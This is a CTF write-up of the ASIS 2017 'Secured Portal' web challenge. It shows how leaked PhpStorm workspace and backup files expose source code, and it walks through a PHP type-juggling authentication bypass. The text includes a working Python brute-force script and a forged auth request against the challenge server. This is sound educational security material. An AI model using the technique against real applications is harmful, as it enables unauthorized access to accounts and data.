Asis CTF 2017 - Secured Portal Write Up

Published on Saturday, 08 April 2017 in Security ; tagged with asis, ctf, write-up, web, challenge, php, type, juggling ; text version

The Asis CTF was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal.

Secured Portal

In this write-up, I am covering the first level: Secured Portal.

Intelligence gathering

The homepage of the challenge only shows a static image and nothing more. Looking at the source code, we can start gathering some intelligence that we could leverage later on. For instance, there is a functions.js file with some infos:

/**
 * Created by root on 3/24/17.
 * coded via PhpStorm :)
 */

/* . . .  */

$(document).ready(function() {

    $("#login").click(function(event){
        event.preventDefault();

        var username = $("#inputUsername").val();
        var password = $("#inputPassword").val();

        var loginString = btoa(username + ':' + password);

        $.get('/authentication/login/' + loginString, function(data){
            var loginString = readCookie('loginString');

            if(typeof loginString == 'undefined'){
                $("#showResult").remove();
                $("#result").append('<div id="showResult"></div>');
                $("#showResult").addClass('alert').addClass('alert-danger').html('Invalid credentials have been given.');
            }else{
                $("#showResult").remove();
                $("#result").append('<div id="showResult"></div>');
                $("#showResult").addClass('alert').addClass('alert-success').html('Login success, please wait until you are being redirected to the panel');

                setTimeout(function(){ window.location = '/panel/index?auth=' + decodeURI(loginString); }, 3000);
            }
        });
    });
})

We get a few URLs (/authentication/login/<loginString> and /panel/index?auth=<loginString>). The first loginString seems to be the username and password of the user encoded in base64 (like HTTP Basic authentication). The second loginString seems to be a session-like object to send along when accessing the portal pages. We can't really make anything out of these URLs without more information, like a set of credentials or the source code maybe.

Another clue is the comment at the beginning of the file: coded via PhpStorm. As mentioned in the description of the challenge, the author of the web portal used his IDE on the server, most likely leaving temporary and configuration files behind (like .swp or ~ files for instance).

PHPStorm

After installing PhpStorm in a VM and creating a dummy project, we can see that configuration files like workspace.xml are created in the .idea directory. Let's try that:

GET /.idea/workspace.xml HTTP/1.1
Host: 46.101.96.182

Which returns:

HTTP/1.1 200 OK
Date: Sun, 09 Apr 2017 09:37:49 GMT
Server: Apache
Last-Modified: Fri, 31 Mar 2017 13:15:51 GMT
ETag: "2399-54c069bd2a608"
Accept-Ranges: bytes
Content-Length: 9113
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ChangeListManager">
    <list default="true" id="73c75255-7496-4e8f-99a9-50d46081b1df" name="Default" comment="" />
    <ignored path="public_html.iws" />
    <ignored path=".idea/workspace.xml" />
    [ . . . ]
      <component name="IdeDocumentHistory">
    <option name="changedFiles">
      <list>
        <option value="$PROJECT_DIR$/backup/panel.class.php.bk" />
      </list>
    </option>
  </component>
[ . . . ]

We can now access some backup file (/backup/panel.class.php.bk), which contains exactly what we needed:

<?php
/**
 * panel Class
 *
 * @category  controller
 * @author    ?????
 */

class panel extends main {
/* . . .  */
    /**
     * checking authentication string
     *
     * @param string object
     */
    function __construct($db){
        $this->__db = $db;
        $sessionString = null;

        /**
         * gathering authentication string by auth parameter in HTTP request
         */
        if(array_key_exists('auth', $_GET))
            $sessionString = $_GET['auth'];

        if(strlen($sessionString) > 32){
            $signature = substr($sessionString, -32);
            $payload = base64_decode(substr($sessionString, 0, -32));

            /**
             * real signature calculation based on the key
             */
            $realSign = md5($payload.$this->__sessionKey);

            /**
             * making it impossible to login, if the site is under maintenance,
             */
            if(__MAINTENANCE__===true)
                $realSign = substr($realSign, 0, 6);

            /**
             * checking signature, prevent to data forgery by user
             */
            if($realSign == $signature){
                $this->data = unserialize($payload);

                if(is_array($this->data)){
                    /**
                     * checking login status
                     */
                    if($this->data['logged']===true){
                        $this->__auth = true;
                    }
                }
            }
        }
    }
    /* . . .  */
    /**
     * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
     */
    function flag(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        /*
         * WOW, SEEMS THE FLAG IS HERE :)
         */
        require 'includes/flag.php';
    }
/* . . .  */

I only pasted the snippet handling the authentication for now. In short, the loginString is a base64 encoded serialized PHP array appended with a 32 bytes md5 hash. As indicated in the comments, the author will only uses the first 6 character of the md5 hash to compare it with the real one, which should make the next comparison impossible and prevent people from connecting (if PHP didn't suck).

If we pass the signature check though, then our base64 encoded data is unserialized. If the unserialized object contains logged set to true, we are successfully authenticated.

PHP type juggling

The issue here is a PHP type juggling vulnerability, where the hashes are compared using == instead of ===, meaning that PHP will do some stupid things (like casting the variables for you). For instance:

<?php
0 === "0"  // -> false
0 == "0"   // -> true

In our case, if we can manage to have $realSign matching 0+[eE]\d{4}.* (e.g. 0e1234abcd...) on the left side and $signature set to 00000000000000000000000000000000 on the right side, then PHP will try to cast the $realSign to a number using the scientific notation (which results in 0), which is equal to the 000... hash we provided.

So to sum up, to bypass the authentication, we need to:

The following python script does all of that. It uses a very stupid approach to brute-force the md5 hash. Basically, our PHP object will contain an extra dummy parameter, called foo, that will be padded using characters from the ASCII table.

import sys
import base64
import string
import requests

URL = 'http://46.101.96.182/panel/index'
SIG = '00000000000000000000000000000000'
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'

for c in string.letters + string.digits:
    for i in range(0, 500):
        OBJ = template % (i, c * i)
        r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG})
        if not 'login required' in r.text:
            print('found collision')
            print(OBJ)
            print(base64.b64encode(OBJ))
            sys.exit(0)

The script yields the following payload:

found collision
a:2:{s:6:"logged";b:1;s:3:"foo";s:23:"ccccccccccccccccccccccc";}
YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==

Let's try it:

GET /panel/flag?auth=YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==00000000000000000000000000000000 HTTP/1.1
Host: 46.101.96.182

Which returns the flag:

HTTP/1.1 200 OK
Date: Sun, 09 Apr 2017 10:13:10 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 952
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
[ . . . ]
<div class="container">
<b>flag:</b> ASIS{An0th3R_Tiny_Obj3c7_Inject1oN_L0L!!!}</div>
<div class="modal"></div>
[ . . . ]
</html>

First level validated! It was pretty straight forward but wait for the next one ;)

Onto the next level!

In the backup file we downloaded, there is another function that allows us to download the source code of the secured portal.

<?php
/**
 * panel Class
 *
 * @category  controller
 * @author    ?????
 */

class panel extends main {
    /* . . .  */   
    /**
     * downloading source code via last changes
     */
    function downloadSource(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        $file = '../source.zip';
        if (file_exists($file)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/x-gzip');
            header('Content-Disposition: attachment; filename="'.basename($file).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
    }
    /* . . .  */

So the source can be downloaded here. Let's now move on to the next level and exploit that insecure unserialize call, shall we?


contactdepier.re License WTFPL2